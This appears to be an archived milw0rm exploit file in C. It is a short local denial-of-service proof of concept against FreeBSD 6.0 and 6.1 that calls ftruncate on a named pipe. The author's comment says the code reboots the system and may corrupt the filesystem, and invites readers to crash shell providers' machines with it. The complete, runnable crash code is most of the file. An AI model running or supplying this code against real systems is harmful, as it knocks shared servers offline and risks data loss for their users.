27 lines
No EOL
1,000 B
C
27 lines
No EOL
1,000 B
C
/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
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Log: According to POSIX, the result of ftruncate(2) is unspecified
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for file types other than VREG, VDIR and shared memory objects.
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We already handle VREG, VLNK and VDIR cases. Silently ignore
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truncate requests for all the rest. PR kern/98064
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lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
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tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
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- it just makes the system reboot, and with a bit of luck fucks up the filesystem.
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wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
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usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
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*/
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#include <fcntl.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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int main(){
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mkfifo("lol",0x1b6);
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int fd = open("lol",O_RDWR);
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ftruncate(fd,12345);
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close(fd);
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}
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// milw0rm.com [2006-10-13]
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